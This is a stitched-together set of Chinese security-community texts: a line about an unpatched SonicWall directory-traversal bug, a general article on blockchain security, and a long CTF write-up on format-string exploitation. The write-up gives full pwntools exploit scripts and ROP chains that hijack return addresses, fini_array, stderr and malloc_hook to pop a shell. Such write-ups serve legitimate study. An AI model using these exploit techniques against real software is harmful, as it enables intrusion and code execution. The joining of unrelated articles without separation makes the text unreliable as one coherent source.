在关键更新发布2个月后，我快速判断了一下是否还有设备存在漏洞。我测试了目录遍历漏洞，发现互联网上仍有相关设备存在该问题（其中某个设备隶属于SonicWall的IP地址范围内），因此这里我决定暂时不公布漏洞利用代码。 | 社区文章 |
本文对区块链技术的安全问题和面临的一些挑战进行了分析，并提出一些安全建议。
区块链（Blockchain）是比特币的一个重要概念，它本质上是一个去中心化的数据库，同时作为比特币的底层技术。区块链是一串使用密码学方法相关联产生的数据块，每一个数据块中包含了一次比特币网络交易的信息，用于验证其信息的有效性（防伪）和生成下一个区块。
可以应用区块链的一些领域包括智能合约、证券交易、电子商务、物联网、社交通讯、文件存储、存在性证明、身份验证、股权众筹。
那么区块链安全吗？本文讲述对区块链安全的一些考虑。
# 区块链相关的安全事件
因为区块链技术和安全生态的成熟度不够，导致了许多安全相关事件的产生。下面是一些安全事件，这些安全事件主要是会导致财产损失。
## 安全事件分类
区块链相关的安全事件被分为三类，分别是OPSEC、智能合约、共识协议。
* OPSEC，是指入侵组织和个人控制的信息来访问商业资产；
* 智能合约（Smart Contracts），是指由于不适当地运用和执行智能合约导致的事件；
* 共识协议（Consensus Protocol Incentives），是指恶意利用共识协议导致的事件。
## 安全事件分析
根据对2011到2018年期间相关事件的分析，估计有35.5百亿美元的资产被窃。
* OPSEC（Open Platform for Security），攻击者利用平台安全漏洞可以窃取大量资产。如2018年5月，360公司Vulcan（伏尔甘）团队发现了区块链平台EOS的一系列高危安全漏洞。经验证，其中部分漏洞可以在EOS节点上远程执行任意代码，即可以通过远程攻击，直接控制和接管EOS上运行的所有节点。预防此类漏洞，需要标准的安全解决方案。
* 智能合约。这类事件占总安全事件的22%左右。当智能合约不像期望的那样工作时，智能合约安全事件就发生了。但可以利用区块链的透明性来审计所有公布的智能合约。
* 共识协议。这类事件占总安全事件的12%左右。与智能合约攻击相比，共识协议攻击更难被发现，因为主要效应是不合适的节点共识或区块挖矿，对矿工来说很难缓解或检测这类攻击。
# 智能合约安全
智能合约是一套以数字形式定义的承诺，承诺控制着数字资产并包含了合约参与者约定的权利和义务，由计算机系统自动执行。智能合约的实现是基于区块链平台的，而区块链平台是基于分布式的共识协议的。
目前，像Ethereum这样主流的智能合约平台，都遵循复制执行的模式。在该模型中，智能合约的代码、对智能合约方法的调用，都不可逆的加入区块链中。每个参与区块链协议的节点都可以看到代码并从区块链中调用、实例化、执行系统的调用，得到相同的结果，维护相同的状态。
**从安全的角度考虑：**
首先，智能合约的开发生命周期与传统软件开发生命周期不同，尤其是测试、集成和维护是可重复的。因为智能合约的代码加入区块链以后就不能修改了，所以开发者如果想修改，就需要把代码绑定到变量中。因此，智能合约的开发生命周期就与标准软件不同。
其次，节点上的错误或使用智能合约中发现的错误是不可逆的，而且成本很高。事实上，黑客会经常寻找应用的智能合约中的漏洞，并报告给漏洞悬赏计划（项目）。而且这类攻击很难预防，因为应用的代码不能回顾去打补丁。当检测到漏洞后，必须应用新的智能合约来修复它。虽然这对开发者来说很难，但对社区来说，这或许是一种积极的方式。比如，开发者在修复已经应用的智能合约时，这样的修复可能会带来一些附带的损害，因为其他的智能合约可能是依赖修改的合约。而且开发者认为是漏洞的智能合约可能对依赖智能合约的开发者来说只是一个特性。从这个意义上说，智能合约与立法相似（Code
is Law），因此，代码应该保持稳定，在应用前也应该仔细检查。
## 验证和测试
验证和测试对智能合约的开发来说是非常重要的，应当继承到分析和设计的过程中。
安全测试的目的就是确定程序中是否存在攻击者可利用的漏洞。智能合约也是一种程序，所以可能含有漏洞。智能合约一般比较短，但是同时存在的和永久的，所以与普通程序相比，更难变得正确。
智能合约漏洞除了含有一些通用（经典）漏洞外，还含有一些特定漏洞。因此，智能合约应该也有安全分析和测试的漏洞。
## 安全智能合约分发
因为智能合约平台大多都与加密货币相关联，因此也是诈骗的传播媒介。在传统软件分发时，有许多的模型来处理这些问题。比如，许多的开源项目背后都有社区对漏洞进行修复，提高工程（项目）的质量。而中心化的软件一般都有公司在背后运营。
相比之下，智能合约的分布不遵循以上的模式。开发者提交了智能合约后，智能合约就会被矿工加入区块链中。智能合约平台的不可逆性和共识抵抗性不允许任何人移除加入到智能合约，所以提出这样的安全架构是非常复杂的。
当前智能合约平台的矿工的激励具有冲突性：
* 矿工愿意增加每个提交的智能合约到区块链上，因为可以得到奖励；
* 矿工也需要确保生态的安全性，否则平台的热度过低也会影响得到的奖励。
所以一个安全的智能合约发布架构需要增加所有提交的智能合约到区块链上，同时要测试平台的安全性。
# 加密经济协议和PRESTO框架
不同的区块链平台融合了不同的思想，并探索不同的交易模式。PRESTO框架的基础是持久性（Persistence）、鲁棒性（Robustness）、效率（Efficiency）、稳定性（STability）和最优性（Optimality）。下面我们详细描述一下这几个性质：
* 最优性是协议需要满足的最基本的性质，可以通过最基本的计算和高级的优化理论等数学分析技术进行确认。在区块链协议中，最优性的例子包括标准网络/代理情况下的安全性和活跃度证明。
* 稳定性是参与者以最大兴趣来遵守协议的规则。在具体的例子中是指区块链协议是纳什均衡（Nash equilibrium）的，均衡是所有决策参与者的观点的最优结果。
* 效率。协议是否有效利用计算资源？是否尽可能快、尽可能少、尽可能随机、尽可能少使用资源、并行地执行核心任务？这些效率的限制会让设计者去考虑交易关于速度和最优的一个均衡。在区块链中，比特币协议使用的计算资源是不够高效的，因为随着哈希速度和能源消耗的增加，最大交易量却与5年前相同。
* 鲁棒性。假设理论上协议书接近最优的效率均衡的，但实际的分布式系统会产生更多的挑战，比如通信时延、异步等等。
* 持久性。如果协议收到某种特定攻击或遇到黑天鹅事件，系统能及时恢复吗？如果可以，那么恢复的速度和成本分别是多少？对持久性来说，应该考虑理论极限，应当假设系统会持续受到攻击，那么设计时就应当考虑如何恢复，并提供恢复时的特性。
**PRESTO框架的应用方式：**
首先，最优性需要协议能够解决预先定义的问题；
第二，效率需要资源被尽可能高效地使用；
第三，稳定性分析要确保自代码能够遵循和应用协议；
第四，在这个过程中还要考虑平衡的鲁棒性；
第五，持久性会超越平衡的思考，询问哪些特征不能在平衡中保证。 | 社区文章 |
# 格式化字符串大杂烩
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
L0ck@星盟
一直对格式化字符串的利用不是很上手，所以决定做个总结，复现一些骚题目还有一些常规题，bss段的格式化字符串和正常的栈上的格式化字符串利用，希望通过这次总结能加深对格式化字符串利用的理解。
## 0x1.ha1cyon-ctf level2
除了canary以外保护全开
IDA分析
无限循环的格式化字符串漏洞，不过是bss段的。
bss段或堆上的的格式化字符串利用，我们需要在栈上找一个二级指针，类似于下面这种
因为我们需要修改返回地址，但通过格式化字符串漏洞直接修改返回地址是行不通的，我们需要间接修改返回地址，如下
00:0000│ rsp 0x7fffffffde08 —▸ 0x555555554824 (main+138) ◂— jmp 0x5555555547da
01:0008│ rbp 0x7fffffffde10 —▸ 0x555555554830 (__libc_csu_init) ◂— push r15
02:0010│ 0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
03:0018│ 0x7fffffffde20 ◂— 0x1
04:0020│ 0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')
有这样一条链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')
我们可以将这条链指向返回地址，即修改成如下所示的链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
0x7fffffffe264和0x7fffffffde18只有后四位不同，通过格式化字符串我们可以修改0x7fffffffe264的后四位为0x7fffffffde18的后四位，这样我们就能通过修改栈上的值来修改返回地址了
首先我们泄露出libc地址和栈地址，这两个地址分别用`%7$p`和`%9$p`就能泄露
接着我们来完成上面说的修改栈链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')
这条链在格式化字符串中是`%9`
我们通过如下payload来修改它的指向
payload = "%"+str(stack&0xffff)+"c"+"%9$hnxxxx\x00"
修改完成后如下
这样栈里面就存在了指向返回地址的二级指针，我们只要修改`00f0`处栈所指向的值就能修改返回地址了。
由于返回地址和onegadget地址只有后五位不一样，所以我们只需要通过格式化字符串修改返回地址得后三个字节即可，不用全部写入。
00f0的栈在格式化字符串中的位置是`%35`，我们第一次修改两字节，也就是用`%35$hn`进行写入，payload如下
payload = "%"+str(onegadget & 0xffff)+"c"+"%35$hnxxxx\x00"
修改后如下所示
接着我们来修改剩下的两字节。
我们需要再次修改`0020`处的栈链，使其偏移四位，即现在是`0x7ffe5519af48`,我们将其修改为`0x7ffe5519af4a`，这样就能够修改后四位的值，payload为
payload = "%"+str(stack&0xffff+2)+"c"+"%9$hnxxxx\x00" #因为是以字节为单位偏移，所以+2就是偏移两字节，即偏移四位
修改了偏移之后就可以继续修改%35的栈值，进行最后的修改
payload = "%"+str((onegadget >> 16) & 0xffff)+"c"+"%35$hnxxxx\x00"
修改完成后栈如下
返回地址已经被修改为了onegadget，然后输入66666666退出循环就能触发onegadget，完整exp如下
#!/usr/bin/python
from pwn import *
context.log_level='debug'
io = process("./level2")
elf = ELF('level2')
libc = ELF('libc-2.27_x64.so')
payload = "%6$p%7$p%9$p"
io.send(payload)
pro_base = int(io.recv(14), 16)-0x830
libc_base = int(io.recv(14), 16)-libc.symbols['__libc_start_main']-231
stack = int(io.recv(14), 16)-232
log.success('pro_base => {}'.format(hex(pro_base)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('stack => {}'.format(hex(stack)))
onegadget = libc_base+0x4f322
offset0 = stack & 0xffff
offset1 = onegadget & 0xffff
offset2 = (onegadget >> 16) & 0xffff
log.success('onegadget => {}'.format(hex(onegadget)))
log.success('offset0 => {}'.format(hex(offset0)))
log.success('offset1 => {}'.format(hex(offset1)))
log.success('offset2 => {}'.format(hex(offset2)))
#gdb.attach(io)
payload = "%"+str(offset0+8)+"c"+"%9$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset1)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset0+10)+"c"+"%9$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset2)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
io.sendline("66666666\x00")
io.interactive()
## 0x2.De1ta ctf-unprintable
这题可以说是上一题的升级版
首先检查保护
IDA分析
程序首先给我们了栈地址，然后关闭标准输出，只有一次格式化字符串利用机会，之后就通过exit函数退出
由于第一次printf调用栈中不存在可利用的数据
根据上一题修改返回地址的利用，我们无法通过第一次printf直接修改返回地址，因此需要利用别的办法
在exit函数中会调用_dl_fini函数
其中的`l->l_info[DT_FINI_ARRAY]->d_un.d_ptr`指向`fini_array`段的地址，而`l->l_addr`为0，所以`l->l_addr+
l->l_info[DT_FINI_ARRAY]->d_un.d_ptr`=0x600DD8
在printf函数下断点，此时栈空间如下
这个画框的实际上就是`l->l_addr`
在后续调用_dl_fini的过程中，有如下语句
`_dl_fini`+788这条语句将[rbx]和r12相加，rbx里面存储的是fini_array的地址，rbx里面存储着的正是`l->l_addr`，也就是调用printf时栈中`_dl_init`+139上一行的值。因此我们可以通过格式化字符串修改`l->l_addr`的值，使`l->l_addr+
l->l_info[DT_FINI_ARRAY]->d_un.d_ptr`偏移到buf中，然后在buf中伪造fini_array里面的函数为main函数，这样就能够再次执行程序。
`l->l_addr`在printf中的偏移为%26，buf的地址为`0x601060`，fini_array的地址是`0x600dd8`，相差0x288，payload如下
payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)
因为我们输入的格式化字符要占一定空间，所以伪造的fini_array还需要往后挪一挪。伪造的fini函数直接从main函数中的read函数开始执行，这是为了避免从头执行会再一次初始化栈空间，这样我们做的就是无用功。
看到第二次执行printf时的栈空间
此时我们就可以直接通过格式化字符串来修改返回地址了
接下来的利用思路就是在buf中写入ROP链，rop用来修改stderr为onegadget，格式化字符串用来修改printf函数的返回地址为pop
rsp，将返回地址的下一行修改为rop链的起始地址，这样当printf函数结束时就会执行rop链。
用到的gadget如下
pop_rsp = 0x000000000040082d
#0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
csu_pop = 0x000000000040082A
'''
.text:000000000040082A pop rbx
.text:000000000040082B pop rbp
.text:000000000040082C pop r12
.text:000000000040082E pop r13
.text:0000000000400830 pop r14
.text:0000000000400832 pop r15
.text:0000000000400834 retn
'''
csu_call = 0x0000000000400810
'''
.text:0000000000400810 mov rdx, r13
.text:0000000000400813 mov rsi, r14
.text:0000000000400816 mov edi, r15d
.text:0000000000400819 call ds:(__frame_dummy_init_array_entry - 600DD0h)[r12+rbx*8]
'''
#万能gadget
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
adc_p_rbp_edx = 0x00000000004006E8
'''
.text:00000000004006E8 adc [rbp+48h], edx
.text:00000000004006EB mov ebp, esp
.text:00000000004006ED call deregister_tm_clones
.text:00000000004006F2 pop rbp
.text:00000000004006F3 mov cs:completed_7594, 1
.text:00000000004006FA rep retn
'''
`adc [rbp+48h],
edx`这一条gadget可以用来的意思是将edx的值和[rbp+0x48]的值相加，并将结果存储在rbp+0x48中，我们可以将edx的值设置为onegadget和`_IO_2_1_stderr`的地址的差，将rbp设置为`stderr_ptr_addr-0x48`，于是通过这条指令就可以将`_IO_2_1_stderr`改写为onegadget。
现在开始完整的讲述利用流程，在第二次printf中，栈空间如下
00:0000│ rsp 0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov edi, 0
01:0008│ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d
02:0010│ r14 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
03:0018│ 0x7ffdcc6a2428 —▸ 0x7fb6ffb1a700 —▸ 0x7ffdcc763000 ◂— jg 0x7ffdcc763047
04:0020│ 0x7ffdcc6a2430 —▸ 0x7fb6ffafc000 —▸ 0x7fb6ff529000 ◂— jg 0x7fb6ff529047
05:0028│ r10 0x7ffdcc6a2438 —▸ 0x7fb6ffb199d8 (_rtld_global+2456) —▸ 0x7fb6ff8f3000 ◂— jg 0x7fb6ff8f3047
06:0030│ 0x7ffdcc6a2440 —▸ 0x7ffdcc6a2540 —▸ 0x4007d0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7ffdcc6a2448 —▸ 0x7fb6ff903b74 (_dl_fini+132) ◂— mov ecx, dword ptr [r12]
08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
09:0048│ 0x7ffdcc6a2458 ◂— 0x3000000010
0a:0050│ 0x7ffdcc6a2460 —▸ 0x7ffdcc6a2530 —▸ 0x7ffdcc6a2620 ◂— 0x1
0b:0058│ 0x7ffdcc6a2468 —▸ 0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add byte ptr ss:[rax], al /* '6' */
0c:0060│ 0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add byte ptr ss:[rax], al /* '6' */
0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
0e:0070│ 0x7ffdcc6a2480 ◂— 0x400001000
0f:0078│ 0x7ffdcc6a2488 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
10:0080│ 0x7ffdcc6a2490 ◂— 0x400000000
11:0088│ 0x7ffdcc6a2498 —▸ 0x7fb6ffb19048 (_rtld_global+8) ◂— 0x4
12:0090│ 0x7ffdcc6a24a0 —▸ 0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov edi, 0
通过0090的栈我们可以修改返回地址，使程序重复读取，我们还需要将0008处的栈修改为rop链的存储地址
01:0008│ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d
08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
看到上面这三条栈链，类似于第一题的做法，我们将
0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
修改为
0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d
0040处的栈就变成了
08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d
这样我们就能通过修改0040处的栈来修改0008处的栈值了
payload如下
payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址为0x4007a3
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'#修改0068得栈链指向0008处，这里减a3得原因是因为前面已经输出了0xa3个字节了，如果不减的话%18处得栈的后四位就会被修改为stack&0xffff+0xa3
修改之前如下
修改之后如下
可以看到返回地址已经被修改为了0x4007a3，栈链也修改成功
下一步继续修改0008处的值，payload如下
stack = stack+2
payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'#修改0068处的栈链
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'#修改0008处栈的值
修改前
修改后
可以看到0008处栈的值的后四位被修改为了rop链存放地址的后四位
接下来继续修改，payload如下
stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
修改后如下
接下来是最后一次payload，要将0008处前面的0x7fec清零，修改返回地址为pop rsp的地址，还要将rop链写入
payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'\x00')
payload += rop
修改完成后如下
返回地址已经被修改为了pop rsp，rop链地址也修改完了
顺便说一下0008处的地址为什么是0x601248，我们设置的rop链存放的位置是0x601060，相对于buf的起始地址为0x200，而pop
rsp的完整指令如下`0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ;
ret`，除了将0x601248
pop到rsp，还要pop三个值到三个寄存器中，所以我们pop到rsp的地址需要相对于存放rop链的地址往高处空出3*8个字节，留给r13，r14和r15。
完整exp如下(来自于[四道题看格串新的利用方式](https://www.anquanke.com/post/id/221267#h3-4))
from pwn import *
p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF("./libc-2.23.so")
#获取stack地址，并计算出要修改的地址
p.recvuntil("0x")
stack = int(p.recv(12),16)-0x110-8
print hex(stack)
#劫持l_addr，从而在buf中伪造fini_array，再一次读并输出格式化字符串
payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)
p.send(payload)
sleep(1)
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
one = [0x45226,0x4527a,0xf0364,0xf1207]
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = one[3]
offset = one_gadget - libc.sym['_IO_2_1_stderr_']
adc_p_rbp_edx = 0x00000000004006E8
rop_addr = 0x0000000000601260
tmp = stderr_ptr_addr-0x48
#利用adc将stderr修改为one_gadget
rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#call onegadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)
rop_addr = rop_addr-0x18
addr1 = rop_addr&0xffff+0x10000
addr2 = (rop_addr>>16)&0xffff+0x10000
addr3 = (rop_addr>>32)&0xffff+0x10000
#0 劫持printf的返回地址，并将指针指向返回地址的下一地址，方便后面迁栈
payload = '%' + str(0xA3) + 'c%23$hhn'
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'
p.send(payload)
sleep(1)
#1-2为迁栈过程，即不断劫持printf的返回地址，并依次将下一地址修改为指向buf上存放rop串处，并且最终将返回地址改为pop rsp，从而执行rop串
#1
stack = stack+2
payload = '%' + str(0xA3) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'
p.send(payload)
sleep(1)
#2
stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
p.send(payload)
sleep(1)
#3 继续将返回地址的下一地址修改为指向buf上存放rop串处，并且最终将返回地址改为pop rsp，从而执行rop串
payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'\x00')
payload += rop
#gdb.attach(p,'b *0x4007C1')
p.send(payload)
sleep(1)
#重新获取shell，并恢复stderr
p.sendline("sh >&2")
p.interactive()
这里再说一下rop链的构造
rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
其实我一开始不太明白`rbx`为什么要设置为`stderr_ptr_addr-0x48-1`，还有`r12`和`r13`的设置，动调加思考之后才明白。
由于在csu中最终要调用这条指令
call qword ptr [r12+rbx*8]
而我们要利用这条指令调用`0x4006E8`处的指令，因此[r12+rbx*8]需要为`0x4006E8`。我们的rop链的起始存储地址为0x601260，向下依次+8字节地址，`adc_p_rbp_edx`这条gadget存储在`0x601088`的位置。
`r12+rbx*8`=`rop_addr + 0x8 * 6 - tmp *
8+8*(tmp-1)`=`0x601260+0x30-0x600ff8*8+8\*0x600ff7`,从数学计算上来看这个式子确实等于0x601088，但这是因为我们自动将其化简得来的，在计算机中则会先计算`rop_addr
+ 0x8 * 6 - tmp * 8`这个式子，就会得到一个负数，在计算机中负数是以补码表示的，会算得这个结果`FFFF FFFF FD5F
92D0`，因此我们加上0x10000000000000000把前面的ff给去掉。至于r13，会被pop到rdx，`offset = one_gadget
- libc.sym['_IO_2_1_stderr_']`是一个负数，同样需要`+0x10000000000000000`来把前面的ff清0.
这题就到此为止，受益良多的一题
## 0x3.西湖论剑-noleakfmt
这题在某种程度上又可以看成上一题的升级版
检查保护
IDA分析
这题和上一题的区别在于没有stderr，但可以无限输入。
由于没有stderr，所以我们不能像上一题那样直接改stderr为onegadget，我们要使程序能够重新输出以获得libc，因此需要修改`_IO_2_1_stdout`结构体中的fileno成员为2，然后就能重新输出，之后再修改malloc_hook的值为onegadget，通过输入大量字符来触发onegadget。
在printf函数栈的上方存在着`_IO_2_1_stdout`的地址，我们可以通过抬栈使`_IO_2_1_stdout`落到printf函数栈中
在libc_start_main函数中有如下指令
0x00007ffff7a2d750 <+0>: push r14
0x00007ffff7a2d752 <+2>: push r13
0x00007ffff7a2d754 <+4>: push r12
0x00007ffff7a2d756 <+6>: push rbp
0x00007ffff7a2d757 <+7>: mov rbp,rcx
0x00007ffff7a2d75a <+10>: push rbx
0x00007ffff7a2d75b <+11>: sub rsp,0x90
可以将栈抬高0x90
抬高0x90之后的printf函数栈空间是能够包含`_IO_2_1_stdout`的，两者栈的距离小于0x90
确定好目标之后我们要来修改printf的返回地址了，由于__libc_start_mian函数存在于start函数的调用链中，所以我们可以将返回地址修改为start函数。
首先像上面两题一样，我们先修改栈链，使得可以通过格式化字符串修改返回地址，将返回地址修改为start，由于start地址为0x7b0，我们一次写入两字节，会把倒数第四位清0，开启了pie，所以有1/16的几率修改成功。成功修改返回地址为start之后就会抬栈，接下来再故技重施，修改栈链，并且将stdout地址的后两位修改为0x90，从而修改fileno成员，使stdout重新输出，然后再修改malloc_hook为onegadget就好，再通过printf输出大量字符来触发onegadget就行(不想写了，后续利用和上一题一样的方式，阿巴阿巴阿巴)，exp如下
from pwn import *
context.log_level='debug'
elf=ELF('./noleakfmt')
libc=ELF('./libc-2.23.so')
start=0x7b0
onegadget=[0x45226,0x4527a,0xf0364,0xf1207]
def pwn():
io.recvuntil("gift : 0x")
stack=int(io.recv(12),16)
log.success('stack => {}'.format(hex(stack)))
payload='%'+str((stack-0xc)&0xffff)+'c%11$hn'
io.sendline(payload)
sleep(0.1)
try:
payload='%'+str(start)+'c%37$hn'
io.sendline(payload)
except :
io.close()
else:
sleep(0.1)
payload='%'+str((stack-0x54)&0xffff)+'c%10$hn'
io.sendline(payload)
sleep(0.1)
payload='%'+str(0x90)+'c%36$hhn'
io.sendline(payload)
sleep(0.1)
payload='%'+str(0x2)+'c%26$hhn'
io.sendline(payload)
sleep(0.1)
payload='%9$p'
io.sendline(payload)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.symbols['__libc_start_main']-240
log.success('libc_base => {}'.format(hex(libc_base)))
one_gadget=libc_base+onegadget[3]
log.success('one_gadget => {}'.format(hex(one_gadget)))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
log.success('malloc_hook => {}'.format(hex(malloc_hook)))
sleep(0.1)
payload='%'+str(malloc_hook&0xffff)+'c%36$hn'
io.sendline(payload)
sleep(0.1)
payload='%'+str(one_gadget&0xffff)+'c%26$hn'
io.sendline(payload)
sleep(0.1)
payload='%'+str((malloc_hook+2)&0xff)+'c%36$hhn'
#gdb.attach(io)
io.sendline(payload)
sleep(0.1)
payload='%'+str((one_gadget>>16)&0xff)+'c%26$hhn'
io.sendline(payload)
sleep(0.1)
io.sendline('%99999c')
io.sendline('exec 1>&2')
io.interactive()
if __name__ == "__main__":
while True:
try:
io=process('./noleakfmt')
pwn()
except:
io.close()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
接下来再来道偏一点的格式化字符串知识点利用
## 0x4.网鼎杯白虎组-quantum_entanglement
检查保护
IDA分析
然而有问题
看到0x8048998
scanf函数，f5看看scanf反编译成什么样了
龟龟，怎么这么多参数，不对劲，按y改一下参数
改完之后就能反编译main了
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-ECh]
int *buf; // [esp+4h] [ebp-E8h]
int *addr; // [esp+8h] [ebp-E4h]
int fd; // [esp+Ch] [ebp-E0h]
int v8; // [esp+10h] [ebp-DCh]
char format; // [esp+18h] [ebp-D4h]
char v10; // [esp+7Ch] [ebp-70h]
unsigned int v11; // [esp+E0h] [ebp-Ch]
int *v12; // [esp+E4h] [ebp-8h]
v12 = &argc;
v11 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
buf = (int *)mmap(0, 4u, 3, 34, -1, 0);
addr = (int *)mmap(0, 4u, 3, 34, -1, 0);
fd = open("/dev/random", 0);
if ( fd < 0 )
{
perror("/dev/urandom");
exit(1);
}
read(fd, buf, 4u);
read(fd, addr, 4u);
*buf &= 0xCAFEBABE;
*addr &= 0xBADBADu;
mprotect(buf, 4u, 1);
mprotect(addr, 4u, 1);
close(fd);
v4 = *buf;
v8 = *addr;
fwrite("FirstName: ", 1u, 0xAu, stdout);
__isoc99_scanf((int)"%13s", (int)&format);
fwrite("LastName: ", 1u, 9u, stdout);
__isoc99_scanf((int)"%13s", (int)&v10);
log_in(&format, &v10);
/*
int __cdecl log_in(char *format, char *a2)
{
fwrite("Welcome my Dear ", 1u, 0x10u, stdout);
fprintf(stdout, format, "%s");
fprintf(stdout, a2, "%s");
return 0;
}
*/
sleep(3u);
if ( v8 != v4 )
exit(1);
system("/bin/sh");
return 0;
}
程序逻辑就是mmap出两块4字节的内存，然后分别往里面读入4字节的随机数，然后将两个随机数分别与上`0xCAFEBABE`和`0xBADBAD`，接着再接收两次13字节的输入，作为参数传入log_in函数，log_in函数之后对v8和v4进行比较，如果相等则执行system(“/bin/sh”)
在fprintf函数中存在格式化字符串漏洞
这里需要用到一个新的知识点
`%*X$c%Y$n`会把栈中偏移X处的值赋给栈中偏移Y处的指针指向的地址
在执行fprintf的时候站空间如下
在0055的栈空间出残留着第一个随机数地址的后四位，0050的栈空间是第二个随机数，它们的相对偏移如下
但是因为在fprintf函数中，格式化字符串并不是第一个参数，是第二个，和printf函数有所不同，所以这里fprintf函数格式化字符串的偏移都需要-1
